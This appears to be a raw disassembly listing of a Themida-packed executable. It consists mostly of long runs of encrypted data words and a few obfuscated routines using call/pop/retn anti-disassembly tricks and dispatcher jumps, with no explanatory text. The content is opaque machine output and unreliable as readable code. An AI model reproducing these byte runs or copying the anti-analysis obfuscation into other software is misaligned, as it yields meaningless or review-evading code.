		dd 811E58A0h, 2B421FB6h, 0BAB6DB37h, 40CB3256h,	0CB8B4919h
		dd 5BEEB93Dh, 0ABB135BFh, 0DD781156h, 4669FD10h, 75B1B8BFh
		dd 0BABCDB56h, 0F2F73256h, 0E3D4241h, 0E5258D4Ah, 20D687FFh
		dd 0DE583611h, 0C2B13256h, 1661E59Fh, 524FE24Ah, 23AA48Dh
		dd 0AEA2DB5Ah, 63013256h, 56879270h, 9655ADCh, 112FBCB3h
		dd 0F7C7F51Fh, 0BEEE1940h, 5DB126BFh, 7E730956h, 7CD190B2h
		dd 2AC448FCh, 7E7240B1h, 0D27D5D0Bh, 705AB113h,	0AACEB1AFh
		dd 7D343D55h, 47B13256h, 57B1325Eh, 2DA901C7h, 32EE5DB0h
		dd 6EBE5217h, 75B13252h, 0BA4F8830h, 4573C2D7h,	85D06D70h
		dd 0B38CB8Fh, 1AD13357h, 0C7595227h, 16B13256h,	2F6B66B6h
		dd 0BBF40D67h, 1E2AF953h, 0BA8C4F3Bh, 36D16BB8h, 27BE5337h
		dd 0D5B13257h, 154E8AAEh, 0CC48CDA9h, 0BAB13253h, 0B41AC1AEh
		dd 0AEB1325Eh, 2D08B9ECh, 1C6D0C34h, 2A4C74BFh,	0F0333DA9h
		dd 15B13256h, 0AA5971E3h, 0A9B13256h, 101CE923h, 0B6460E92h
		dd 0B55337B8h, 8F1B62C7h, 64BE5337h, 75B13257h,	7844FBAEh
		dd 0DCD1325Eh, 27C149A4h, 0ABE45327h, 0ABBCB959h, 0DAD13256h
		dd 0EAB132D7h, 86305456h, 31D0BFCDh, 5C3C3DBAh,	5BB13256h
		dd 584DF6D5h, 0ABB13EDDh, 0D5B6DB56h, 1F603256h, 78CFFFD1h
		dd 31D15273h, 444E88A6h, 25D02DC0h, 0DEBE3A13h,	0ABB13277h
		dd 0D5A5DB36h, 0F15F3256h, 53866380h, 61546167h, 2953792Bh
		dd 0B089ED5h, 80302267h, 0F6D65ACAh, 0D9F40937h, 0EAD4B059h
		dd 70583256h, 4BB13256h, 5284F9A9h, 0AEB7DA36h,	54D53256h
		dd 0A1512039h, 0D5B1B359h, 3E83256h, 75B1325Dh,	0F5B09D36h
		dd 162A6169h, 0CFAEDEC6h, 58A1776Dh, 0ABB11CD1h, 9076C756h
		dd 0EAB132AAh, 75A3DB56h, 5FBA3256h, 5B88CC55h,	1F0CA451h
		dd 88C80C9Fh, 0E627E509h, 0D5B11FBFh, 6BD75256h, 13BB95BDh
		dd 7DD0ECDDh, 5DB0CE13h, 0CFD13256h, 57B127BFh,	0A458C756h
		dd 9FB13256h, 83A77BCEh, 0E239350Eh, 0B7E56BB6h, 0B4D0BA45h
		dd 0AEB1325Dh, 0C775A034h, 77F28E59h, 3CB0C3DCh, 0EAB1325Eh
		dd 0CC849753h, 0FB319EAAh, 0A84D77DDh, 24BE529Fh, 57B13257h
		dd 5B0E3DAAh, 0D5BDF037h, 0C60F5436h, 14B0827Dh, 0BAB13BBFh
		dd 49F54A56h, 0E8F1FEC1h, 58E4B761h, 0ABB133DBh, 56BEC756h
		dd 0EAB1325Dh, 75B134BFh, 34596956h, 0D6AE55BDh, 6A32CEBAh
		dd 37D052AAh, 0ABB122BEh, 63D37056h, 0BC13F888h, 0E64F3ADh
		dd 3C05ED3Eh, 52EF8C0Ch, 0CFE85244h, 5759C736h,	0F1B13256h
		dd 0DDCCD8D7h, 60BE358Eh, 75B13251h, 0BAB0BE59h, 52493256h
		dd 0AEB135DEh, 56333D56h, 5EB13256h, 2944FB65h,	6CBEE965h
		dd 75B13274h, 0BAA5DA36h, 0B73256h, 3AA4E00Ah, 0CFE87E46h
		dd 5F010CB8h, 8869C3Eh,	6BEA9302h, 0B8DA53A1h, 0E738536Ah
		dd 5DA2DBAAh, 41E73256h, 4A8A426Ah, 6BF663D0h, 931796ABh
		dd 8064241Bh, 75B7DB5Ah, 0FECA3256h, 3A727C3Fh,	10F088DDh
		dd 59583581h, 72B13256h, 102FA29Bh, 56A730BAh, 6442C9CEh
		dd 0BA8EB177h, 5FA4B659h, 47493256h, 57B1325Ah,	0E1AFDFA5h
		dd 6A504482h, 49268315h, 7A4E0DD5h, 0BAB103D3h,	0DBBE5256h
		dd 0AEB13256h, 57B135BFh, 620AFF56h, 60CE0006h,	0FE76B137h
		dd 8A0E3D36h, 58CA37h, 3D4ECDA9h, 0AEB137BFh, 2710FA56h
		dd 613112C0h, 0AA3253CCh, 6EBE3252h, 75B13264h,	0BAB135BFh
		dd 0BC570256h, 0AFB6B559h, 57BD4DD5h, 0ABADB659h, 0DD583256h
		dd 21B13256h, 1275C51Fh, 533BE6F8h, 5DB13261h, 570E3D36h
		dd 890E3D01h, 0EE4E5309h, 564DCAAAh, 61D12691h,	0F5BE5295h
		dd 0BAB13256h, 3CD009E5h, 51E2DBA3h, 58D1CDA9h,	0ABB130D3h
		dd 0B5E96156h, 55BE5336h, 0F6D0538Eh, 0B5B42229h, 5DB16DD2h
		dd 0AEB7DB56h, 0E1293256h, 0B293AE62h, 0D3A14DD5h, 0EAD9B759h
		dd 7AD13256h, 0BAB132D2h, 0AD305456h, 0EFD015ECh, 57A8BA59h
		dd 0BF583256h, 58B13256h, 0C1EF253Bh, 6F531B0Eh, 29394184h
		dd 83187FFDh, 25B64E8Dh, 0DC443611h, 42443E09h,	0D5B132D0h
		dd 0EABBB159h, 15D13256h, 0BA333D37h, 3CB13256h, 0CEB575DDh
		dd 893A54AAh, 0A7EEB937h, 0D5B7BA59h, 61D13256h, 1462B999h
		dd 0BAB108BFh, 1A3AC756h, 0F13ACB52h, 57B6DB5Ah, 0C56F3256h
		dd 0BC236BA0h, 0EEEE196Ah, 705AB1A3h, 0AACEB1A3h, 49343D55h
		dd 56B13256h, 5B393D17h, 0A4B13256h, 0D5B134DCh, 0EA3F3D56h
		dd 5EB13256h, 0B7353D8Fh, 0B4B13256h, 0AEB1325Eh, 641CBCE4h
		dd 3C67CB82h, 0D5B137BFh, 82AFE956h, 2938597Eh,	39BE3357h
		dd 5DB13259h, 0AEB4DB36h, 0DF323256h, 0CD630155h, 6DD0FCDDh
		dd 154ECDA9h, 75BEDA36h, 3A743256h, 532DF2F6h, 0E2AF8D7h
		dd 5F3819C3h, 0F2EA63D0h, 0DF333D37h, 8AB13256h, 75B1BE59h
		dd 0E2E63256h, 5DB48B37h, 47D13256h, 57B1325Eh,	0B889A895h
		dd 2BA80753h, 0EAB138BFh, 0A2E1A656h, 9705CE37h, 3CCC3429h
		dd 0A45899A5h, 60B13256h, 46D6AB6Ch, 79A1063Ch,	1752DBE2h
		dd 1449CDA9h, 0BAB0BA59h, 0D6443256h, 0BF58CE13h, 24B13256h
		dd 2D38C3D4h, 2C03853h,	32F075DEh, 0B7FA2FC8h, 0BABDDB9Fh
		dd 4E003256h, 1DD4E01Ah, 717D4F34h, 4272661Eh, 0D5B13242h
		dd 0E60D38C8h, 8D14C454h, 87B6C187h, 0F416FFF0h, 0BD826006h
		dd 57B8DB06h, 97263256h, 2761D20Eh, 0BB19C0E3h,	75B13CBFh
		dd 3ACA5F56h, 385B4510h, 1057154Dh, 4312019h, 0ABB123BFh
		dd 0A7CFCA56h, 0B552B9E2h, 0B40D679Dh, 888870C6h, 5D598BF8h
		dd 0F4B13256h, 5C04D8D7h, 0B858358Eh, 61B13256h, 672160D1h
		dd 0EEFA269Eh, 5EA49095h, 0F53FF587h, 23BEE005h, 57B13257h
		dd 0AF2BBFA3h, 3CB6E5E9h, 0EAB13251h, 0A1C2CCABh, 53490FEFh
		dd 5DB1325Dh, 91A10F37h, 0FC37857Ch, 13D85460h,	0D5B13232h
		dd 0EAB13BBFh, 872D1656h
		dd 59FEC7FFh, 79592E55h, 56B13250h, 31D139DDh, 56C7DAD7h
		dd 40298B30h, 2B8AC737h, 7505DBAFh, 35BE3256h, 5DB13257h
		dd 0C8E152A3h, 5C71DBD7h, 0E0B2530Dh, 0D5A2DB52h, 67403256h
		dd 30A618C9h, 0A9DDF3Fh, 0B1253384h, 0E275FCB5h, 5870097Bh
		dd 0ABB181D4h, 5CBE5256h, 0EAB13257h, 73353DAFh, 3BB13256h
		dd 0ABA800B0h, 26BE5326h, 57B13245h, 0ABBCBF59h, 0DD583256h
		dd 1BB13256h, 15FE6EFEh, 0B913E7C8h, 0DFBE221Dh, 0AEB1325Ah
		dd 57B7B359h, 27BE3256h, 0D5B13256h, 68BEF36Dh,	75B13272h
		dd 0BAB0B559h, 3D443256h, 0AEB122BFh, 0EF636356h, 0E10CCB9Bh
		dd 2DE63D67h, 0C91FCEA5h, 72585353h, 46B13256h,	5DB154BFh
		dd 0CE58CB56h, 58B13256h, 0ABB133D0h, 4F3CCB56h, 0ED683710h
		dd 75B120BFh, 0C7248856h, 0E0E9BD83h, 0B3A9485h, 0F0C1AA2Dh
		dd 54FD0C84h, 0E158CA85h, 8AB13256h, 0BF72B330h, 0E141B3DAh
		dd 3CD7006Bh, 0A6DDA8DBh, 5A58358Fh, 1AB13256h,	0A73BEDA8h
		dd 78030DBEh, 0E7D96A62h, 4262CDA3h, 5DB134BFh,	0E916F956h
		dd 0CD42E10h, 0ABB0BB59h, 8C493256h, 0EC393D36h, 7AB13256h
		dd 0BAB132D2h, 52585356h, 8EB13256h, 0C63EB60Eh, 0E9FFD461h
		dd 0D96148C1h, 8AE99B20h, 0AC3ACADDh, 39BEF137h, 5DB1325Eh
		dd 3E70B336h, 368D9535h, 0ABB7DB03h, 9EC93256h,	0E1E32AC9h
		dd 6758DEDDh, 77B13256h, 4B7B78BAh, 0F857FDE2h,	0FA939AF1h
		dd 0A75238C9h, 343B52CDh, 0EAB2B059h, 0FED73256h, 0BA595381h
		dd 7B13256h, 0A300D8D7h, 0BED1358Eh, 0ABB13250h, 9564F64Bh
		dd 6DBE79FFh, 75B13255h, 0DB438D59h, 5DA0BC59h,	0A2583256h
		dd 0FAB13256h, 1EBCBC04h, 0AB030135h, 0E557D7D2h, 75B121D5h
		dd 0BABFDB56h, 66AA3256h, 0A5F8D508h, 65376E87h, 0D72C0C53h
		dd 0C3393D36h, 3B13256h, 75B13247h, 0B82B1F07h,	0B57D8D52h
		dd 1AA5F5Fh, 14183A04h,	0ABBBDBADh, 9083256h, 0EE9929CEh
		dd 0E07773FBh, 5B588DBh, 3BD13581h, 2FC93CE9h, 9A0F6497h
		dd 20485367h, 0C4583A13h, 0DAB13256h, 0DBB41086h, 10FC209Ch
		dd 67F1025Ah, 0CC8015AAh, 31D135DFh, 434D7DEFh,	0D5B13242h
		dd 5D8204E8h, 0D551FA4Fh, 6020FAB6h, 98CDD323h,	17DA6404h
		dd 123A530Eh, 2BD1CE5Ah, 0DF596FA5h, 26B13256h,	189E01F8h
		dd 0CC5DABE7h, 23D841Fh, 0AAF6BB37h, 57B0BD59h,	0CB4D3256h
		dd 0D5B1B059h, 61D03256h, 0FC4D2213h, 0BC583E11h, 0FEB13256h
		dd 29645732h, 43F4B9BBh, 0ABB13ABFh, 208C1656h,	81227A2Dh
		dd 65F6BB72h, 0BA97B559h, 0B5D13256h, 0AEB13251h, 0CF0AC466h
		dd 0F52AFCE6h, 0D5B123BEh, 0F9197C56h, 6613BBE3h, 37EC2321h
		dd 0EF0E38E5h, 0CFEBF744h, 513D3D37h, 0CBB13256h, 7063DAEh
		dd 0E1313D37h, 9CB13256h, 0BAB13250h, 8E7C2829h, 4778CC60h
		dd 57B13253h, 0FE8B79C3h, 0D5A1F083h, 0EAB6B659h, 0FEBE3256h
		dd 0BAB13257h, 4E5852AFh, 0A5B13256h, 3420915Ah, 0E7632F79h
		dd 0B9130A35h, 22BAE8D1h, 0F0773B84h, 0BD6003E3h, 3C495211h
		dd 0A17AB936h, 3FD0FCE9h, 3A6414Ch, 447B236h, 0DB04CD37h
		dd 9CB6E35Eh, 0BAB13242h, 11C6DA2Ch, 7ED92440h,	36EF5FDCh
		dd 0EF721793h, 724FFB27h, 4C5BB7DBh, 13D13582h,	3BD7CBDDh
		dd 3C46D4BEh, 0A458E2A9h, 22B13256h, 11BD6684h,	75B05488h
		dd 0EAA0DB2Dh, 0F9B73256h, 0A6B89BC8h, 4C5792E0h, 2BC47448h
		dd 5890B3Eh, 0CB60B936h, 8BE65336h, 603C5337h, 7266F2ECh
		dd 0BAA3DB36h, 4B993256h, 1589406Ch, 0D921AF9Ch, 0AE32E9F5h
		dd 170F3173h, 0BBD0F5DCh, 9C61CDAEh, 0BAB1325Fh, 9D50A367h
		dd 6D36E941h, 0E0D16838h, 293C53E4h, 0D266F2ECh, 0EABDB359h
		dd 0F6BE3256h, 0BAB13250h, 5DB1B959h, 19BE3256h, 5A583E16h
		dd 19B13256h, 11B180E3h, 6F902B58h, 0F856604Ah,	0DCD1EADDh
		dd 5235D4EDh, 0AEB130D0h, 36E58456h, 0ABA7BF59h, 0C4583256h
		dd 51B13256h, 0D6D026D8h, 51B1ED02h, 0A0632617h, 0D6958258h
		dd 57BDDB04h, 6EAB3256h, 0FCB6ADF6h, 6F4877F1h,	44BE33B2h
		dd 0BA353D36h, 52B13256h, 0AEB134D7h, 57333D56h, 0CAB13256h
		dd 0D5BCDB0Ch, 5F8A3256h, 18C18C17h, 0D3933E8Ah, 5EC654BAh
		dd 0AEBEDB95h, 0D3D83256h, 5C48D598h, 280D23A2h, 14D9569Eh
		dd 1C33BB66h, 0DAB6E367h, 5DB120BFh, 0DDA5C256h, 6AC4BCDCh
		dd 8570800Ah, 0CFB6C889h, 8A2E9293h, 75B13BBEh,	768B8256h
		dd 3680DC43h, 0C8EF7CA4h, 15CC3D7h, 42D05337h, 0D5B1325Dh
		dd 0FD1D7385h, 1AB98AB1h, 0C3163D57h, 8C0F51F9h, 11h, 0CE9h
		dd 2E607F00h, 0A67D2C48h, 0B9F68E8Dh, 0C28B60FFh, 8F0F5261h
		dd 4, 61F8F960h, 0E8h, 0EA815A00h, 7D8111Bh, 0D9BF6660h
		dd 61BCB24Bh, 0EE960h, 5A660000h, 451232F5h, 98F245A6h
		dd 0E6C3BF61h, 0B9D8E281h, 52610932h, 0AE9h, 3EA09E00h
		dd 17937472h, 0F900F34h, 158Ch,	0F880F00h, 0E9000000h
		dd 0Ah,	144EE076h, 0B2C684A1h, 828BE873h, 7D13169h, 4E6DB9F9h
		dd 850F41C6h, 1, 0FE1F7F8h, 28Fh, 5A616000h, 0FE9h, 0DA198900h
		dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 303905h, 0BE900h
		dd 0E4870000h, 37CB913Bh, 0D0A59EF0h, 0FFFF25C1h, 66607FFFh
		dd 69C7E381h, 1890Fh, 61F80000h, 0DE9h,	0E397F100h, 0CF53730Bh
		dd 4AC9050Fh, 82893785h, 7D13169h, 16840Fh, 11E90000h
		dd 4F000000h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
		dd 0CE95Ah, 0AB0A0000h,	1212A11Ah, 0B3DBF365h, 8E0F0618h
		dd 19h,	0E95A5260h, 10h, 1767735Fh, 0B63133F8h,	0EA1618E3h
		dd 0AAA83F9Eh, 840F5961h, 1, 51F5C3F5h,	78D0Fh,	8B0F0000h
		dd 1, 890F52FCh, 1, 0E8FCh, 815A0000h, 0D81254EAh, 0ACB76007h
		dd 0F9A4B966h, 0C88BFC61h, 0FE83E8F5h, 5060FFFFh, 5ED3B70Fh
		dd 7E9h, 0E38BB400h, 0BC55CB5Fh, 60D23361h, 0FF1F761h
		dd 2482h, 0EE96000h, 90000000h,	37452D8Ah, 0ED67993Ah
		dd 0AC10346Ah, 0AE9B4h,	21E0000h, 16274B60h, 3E587A4Fh
		dd 0FC28B61h, 18Ch, 0F5AF500h, 18Eh, 0F59F500h,	1786h
		dd 12E900h, 0BF4E0000h,	0B20D0DD6h, 0ABB8A048h,	0BA8C62F0h
		dd 5531505Eh, 5E9C3h, 9C620000h, 8B0BA410h, 0EE860C0h
		dd 0B3000000h, 5DF92DB6h, 14B95DA5h, 3A2E624Ah,	880F5Ah
		dd 5A000000h, 5E9h, 207F3700h, 8B618007h, 9E860C0h, 0AE000000h
		dd 204B0B7Bh, 0ECCC0393h, 61596160h, 0D81E858Dh, 0E96007D7h
		dd 0Ah,	61F1EA4Bh, 54B67856h, 0FF617E40h, 0AE9D0h, 90940000h
		dd 0E086AA3Fh, 0C85FAA7Eh, 0FCC18B66h, 9E9h, 0DF0B9F00h
		dd 70348A31h, 858DF043h, 7D810EFh, 0C830Fh, 8A0F0000h
		dd 6, 880Fh, 0BE600000h, 0F26FF5Ch, 957BE281h, 8961577Fh
		dd 0D113E985h, 18B0F07h, 0F5000000h, 39858DF8h,	6007D812h
		dd 7E8h, 46F8500h, 4557F24Ah, 10E9h, 3F294F00h,	1A320D8Dh
		dd 0B05D5282h, 37F9A7DDh, 89615E3Eh, 0D1276D85h, 0B8F807h
		dd 0FC000000h, 840FC00Bh, 14Fh,	0AE9h, 21451F00h, 6ABDD9F9h
		dd 607DAA24h, 0DC87F281h, 0C6614581h, 0D131B585h, 0E9F55607h
		dd 8, 438CE125h, 9A44966Ch, 0C530DF68h,	14E9A9h, 24230000h
		dd 0E2B9E30Dh, 0D5EA078Ah, 0AABE1BD6h, 3708501Fh, 0B5FFF107h
		dd 7D10831h, 0FE960h, 0C5190000h, 0D5B3062Dh, 0A3F1BC65h
		dd 87D56564h, 8D61F8EDh, 0D4A6EA85h, 81666007h,	61FFF4C3h
		dd 50F9D0FFh, 1C8E0Fh, 870F0000h, 16h, 11E9h, 0AEC8D00h
		dd 46141552h, 0EFD4A993h, 5D45D30Ah, 8D8D0099h,	7D13175h
		dd 0E86051F5h, 0Bh, 15769015h, 0D5FE8710h, 0F8CA502h, 8058F8BFh
		dd 6A618CD7h, 0A860F04h, 0E9000000h, 5,	709CC2CFh, 100068DBh
		dd 0AE90000h, 0B9000000h, 0CB5DAFACh, 0B56AB4D3h, 71B5FFDAh
		dd 0E907D12Dh, 13h, 860C002Ah, 2ABD262h, 5B0D8C2Bh, 3D79FC14h
		dd 0FF07EC38h, 0BF6660D0h, 8B66420Ah, 0BE6061C7h, 6BC7912h
		dd 850Fh, 8B610000h, 0D12D71BDh, 6E907h, 80E60000h, 9C518D3Bh
		dd 0F93C7F03h, 0F8C781h, 0AE90000h, 83000000h, 722F926Fh
		dd 0E0AB889Bh, 2447C76Dh, 60000020h, 0C68B6660h, 8D61CB8Bh
		dd 0D123899Dh, 38BF907h, 18F0FF5h, 0F5000000h, 840FC00Bh
		dd 6Ch,	10E960h, 0FF3F0000h, 4BE69A09h,	0E0707B7Dh, 0C04B6BB8h
		dd 800F2BD1h, 5, 13EB2AB9h, 800F6170h, 10h, 0BE9h, 71B2AC00h
		dd 0F366F06Fh, 0E9256B92h, 0E860008Bh, 8, 0A5A62526h, 0B04C5968h
		dd 7E8h, 7059500h, 0ABF2366Fh, 0BB66585Ah, 89615478h, 800F0443h
		dd 8, 28B0Fh, 61600000h, 234CF6B9h, 0CE800h, 79430000h
		dd 1737186Ah, 4639BEC8h, 0D38B562Eh, 8140B658h,	5B1AC0h
		dd 0BE95200h, 0BE000000h, 0A8CB54EFh, 919802A6h, 2B5E450Ah
		dd 0D2B70FFFh, 0F381C8Bh, 186h,	0F381F800h, 62714F79h
		dd 0CACEC381h, 8166489Eh, 814244E2h, 876182C3h,	0CC8A5320h
		dd 0E838048Fh, 11h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h
		dd 5EABB219h, 83CA8B66h, 6E902EFh, 0D5000000h, 0E79F403Bh
		dd 0E94F4FB0h, 8, 0DD92A510h, 0A3311641h, 0A58CFF81h, 850FFFFFh
		dd 0FFFFFF94h, 0AE8h, 8F12EC00h, 0E83CC75Fh, 59C2CC59h
		dd 0EE8h, 351FF500h, 9915E92Bh,	0A29160C8h, 0E902F00Bh
		dd 6, 0CB95C06Fh, 0F597B0Bh, 381h, 0C1BF0F00h, 5B8CC181h
		dd 0BF0F0000h, 0BAF2h, 14E90000h, 0E000000h, 27BC53F2h
		dd 0C3EBCA71h, 0AA99C772h, 8BD20210h, 0FFE68911h, 5FF90A34h
		dd 59F781F9h, 667AD911h, 98E081h, 3A7F781h, 81F92911h
		dd 0DB7BB5EFh, 0BF0F574Ah, 11048FDBh, 0CE9h, 0FC20CE00h
		dd 0F04D2C5h, 87B761E0h, 4EA833Fh, 0FA8151B4h, 0FFFFA508h
		dd 0FFB9850Fh, 6653FFFFh, 0A56EF381h, 0A08D8D58h, 6A07D817h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4154C355h, 8D890BB3h, 7D11B51h, 0C7F7B70Fh
		dd 0D12D5585h, 636C07h,	0E2816600h, 85C7696Dh, 7D11D39h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5F7D87
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7D87	proc near		; CODE XREF: Themida_:005F7D7Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5F7D87	endp

; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		mov	ds:38D97A06h, al
		enter	0FFFF8BD9h, 95h
		ror	dword ptr [eax], 1
		rol	dword ptr [edi], 1
		push	dword ptr [ebp+7D11C21h]
		stc
		call	dword ptr [ebp+7D11801h]
		push	0
		push	edi
		call	sub_5F7DBD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7DBD	proc near		; CODE XREF: Themida_:005F7DB5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5F7DBD	endp

; ---------------------------------------------------------------------------
		adc	byte ptr [ebp+6Dh], 0AFh
		add	esi, [ebp+7D1342Dh]
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5F7E40
; ---------------------------------------------------------------------------
		db 7
		dd 7367CF9Bh, 2FBD90Fh,	4F5E135Bh, 0CCFA82B2h, 0BF161755h
		dd 12BED2Eh, 876F5EB3h,	354EC3A7h, 7B802614h, 0B31F8315h
		dd 4576401Ch, 86228382h, 97064928h, 3D68F9DEh, 6447F591h
		dd 8338109h, 0AAEABA00h, 36D5CA83h, 8A513318h, 0C936E454h
		dd 8564C305h, 1ABE8BA1h, 468678C6h
; ---------------------------------------------------------------------------


loc_5F7E40:				; CODE XREF: Themida_:005F7DE1j
		jmp	loc_5F7E63
; ---------------------------------------------------------------------------
		db 2Ah,	42h, 3Eh
		dd 49h,	5 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5F7E63:				; CODE XREF: Themida_:loc_5F7E40j
		jmp	loc_5F89D8
; ---------------------------------------------------------------------------
		push	7D819E3h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D81B33h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D81D57h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D81E20h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D81F74h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D8210Eh
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D82214h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		dw 0F5BEh
		dd 0A708E835h, 604E2E7Bh, 199373C0h, 0DCD6B603h, 0D34CFF4Ch
		dd 94E1476Bh, 0DC29FDB4h, 206DB1FCh, 67B47040h,	0D9F67501h
		dd 6D722B29h, 0A2823C9Dh, 6949160Eh, 8C6CDD47h,	0E8740024h
		dd 0F3316469h, 8B58E875h, 0D940693Eh, 0B3DE034Dh, 5AA0A995h
		dd 4C82018Dh, 72223Ah, 4B80FF70h, 0A072223Ah, 15A1120Eh
		dd 223AB996h, 9D7D0D72h, 0BC9C0D0Fh, 31C132F6h,	0E13578D6h
		dd 0A9236DF9h, 0CA2DA083h, 5CEC3C76h, 21EE327Ch, 183880C3h
		dd 0A1B028F0h, 38h, 0A9303940h,	19FC9E1Dh, 69497222h, 880DDA44h
		dd 0C30887F8h, 20722219h, 0E52F7FC2h, 2B425347h, 12A08086h
		dd 0A5C54916h, 38B02985h, 57C85458h, 1164FAC7h,	3000001h
		dd 31A2822Eh, 56C76151h, 5EEA3A76h, 9E3BA714h, 0D3A0AB03h
		dd 0F62E8262h, 723D1DA9h, 0A164E3B0h, 0CA75F3F0h, 11F13EE6h
		dd 3F14859Fh, 4323AF2Ah, 0B444B56Bh, 22DC5BE7h,	0A27222E3h
		dd 5939C512h, 0CE5ECF59h, 915EBEEEh, 0A02CB7BCh, 6330ECC0h
		dd 2C358D7h, 0F07C75F1h, 0F1025C71h, 9360F075h,	12F27E0Eh
		dd 70FC88A0h, 0F102DCF1h, 8B9D1575h, 75058A1Ah,	43CF5BA8h
		dd 0F1028BC4h, 8D4E7675h, 0E869570Bh, 0E20A1963h, 0B04E83F5h
		dd 3F735320h, 0D1616EEDh, 55E575F1h, 56331EC5h,	75E6D051h
		dd 92C11h, 0C2684B00h, 81A9575h, 4DD3DBBBh, 908C2000h
		dd 0D94F6343h, 0F824D98Ch, 41216EBAh, 8969B670h, 0CDADFA24h
		dd 8EF441E3h, 284A8302h, 2AFA722Bh, 54842EC9h, 0BC3BC75Bh
		dd 75F33193h, 8713A333h, 31537CFBh, 1A9875F3h, 880D9D0Eh
		dd 0FEDE2BF8h, 9CE672B2h, 44C36D20h, 75F3CE0Bh,	84E12BBBh
		dd 0A3F0BD37h, 0AA783717h, 7BDCA939h, 1DA93039h, 0C9D84AD3h
		dd 0CC4B90F2h, 75F3D683h, 5623B343h, 0FE4F4BCAh, 1FFF7222h
		dd 0B3713F8Dh, 9222B242h, 0FEA9A221h, 5CBA7222h, 0C9E9C919h
		dd 0EE0E925Fh, 77B028D1h, 0E2h,	52822E16h, 0C132C25Ah
		dd 0CB57D1E1h, 0D25EC4EBh, 0F3317A53h, 6D3ACA75h, 65E470FCh
		dd 75F33168h, 41C04CDCh, 75F3310Ch, 0E46330C0h,	75F33521h
		dd 71BE664Ah, 94051F91h, 0D1DFAABFh, 0C252E253h, 8B60AA36h
		dd 6938EAA7h, 9F7FFECBh, 2F72222Dh, 747D529Fh, 381761EDh
		dd 4C352799h, 567A53D2h, 3ACA7222h, 0D251DDAAh,	75F18866h
		dd 80CA56E6h, 0C8E55788h, 9D872987h, 0D4B4400Dh, 36EC90DEh
		dd 7CC65C53h, 77BAEECBh, 9B1F7246h, 68F48414h, 0E2705DDCh
		dd 44D475F1h, 684A2A77h, 632C19C0h, 8EFFD051h, 7DC2Ah
		dd 72B8FB00h, 0B86A4525h, 0FD238B6Bh, 40DCD0B0h, 899F13F3h
		dd 0A894893Ch, 0F1D11E0Ah, 391966C0h, 7D5DAA74h, 3EA4F133h
		dd 2A1A33B2h, 0DAAA722Bh, 0A4842E79h, 0EB397757h, 0A2823D9Eh
		dd 7D35150Dh, 0DDAA3AABh, 71B3FDh, 4189474h, 0CB595737h
		dd 1A8F27Eh, 0C5D7006Ah, 85AE8350h, 0BC06921Eh,	8439D94Ch
		dd 0F1703D15h, 7222DBC9h, 9C7CED7Dh, 37C31014h,	0FCC95757h
		dd 490941Ch, 25968A24h,	0D857C895h, 0F564F8D2h,	3080C321h
		dd 7F240AE6h, 0CC9908A0h, 66A6C4ECh, 3480637Dh,	0F61936B5h
		dd 1DADF564h, 9171FD8Dh, 0BDCC481Ch, 50B8EBB9h,	0F2BF4FC0h
		dd 39EBC5A5h, 0FA0149C8h, 436AF564h, 288A6ADBh,	80DE8F00h
		dd 616EED3Dh, 0E5F564FAh, 0B614C555h, 43E1CF73h, 3A9A16F6h
		dd 0AC1DAD75h, 9B05D92Dh, 839B120Ah, 0C6078612h, 860A9B05h
		dd 889816F6h, 1B5EBC17h, 5034CCBh, 33C30A9Bh, 3073D1A3h
		dd 0B300248Ch, 0D647DDD3h, 0E571E801h, 4A102866h, 0BF0C9C0Dh
		dd 0CE5AC1EAh, 9B076F4Fh, 0BAF8D80Ah, 8C1CA16Eh, 0D8F57400h
		dd 0A70A9B07h, 0A079758Ah, 881499BFh, 9B63C409h, 68F8880Ah
		dd 549E2A9Bh, 870627D1h, 0A9B6F46h, 0FD2C7606h,	0C20B8A36h
		dd 820A9B47h, 169562F2h, 0A9B473Ch, 448CCF2Dh, 38922624h
		dd 37FADh, 0A2824C00h, 36EEC20Ah, 0D8A535C5h, 0EC05311Dh
		dd 0D46AE975h, 78722200h, 0F0D05CE8h, 0EAE362BEh, 5A722200h
		dd 0D04FFDCAh, 0F32CD2BBh, 9F2BB6BBh, 0D2BB9413h, 7B0BF32Ch
		dd 0D25F70EFh, 5FEFF32Ch, 307A0692h, 0CCF584F8h, 0F9784549h
		dd 0F4FDD5E1h, 6949D565h, 0FD1F8D47h, 0FB6CFC8Ch, 582D9E6Bh
		dd 0EE3A7853h, 6646D25Eh, 6E5FDE4Ah, 0DEF4FDD5h, 72F1BE4Eh
		dd 0F32973B3h, 6BF78313h, 2973E3ECh, 47D363F3h,	297387C8h
		dd 0EAB747F3h, 0C746D25Eh, 0F3297386h, 0D9D6B646h, 7B48D849h
		dd 830F159Bh, 0EBC40AA3h, 0A636A737h, 4AC8CD9h,	0F4827920h
		dd 0A4154979h, 5B840h, 4EDCD700h, 948E2101h, 0D9476747h
		dd 1C00AC8Ch, 65C3EFCFh, 84B86518h, 0CDADFA2Eh,	15F542E4h
		dd 59398698h, 1A80CD57h, 2C3E0F8Eh, 0BE8E722Bh,	5930395Dh
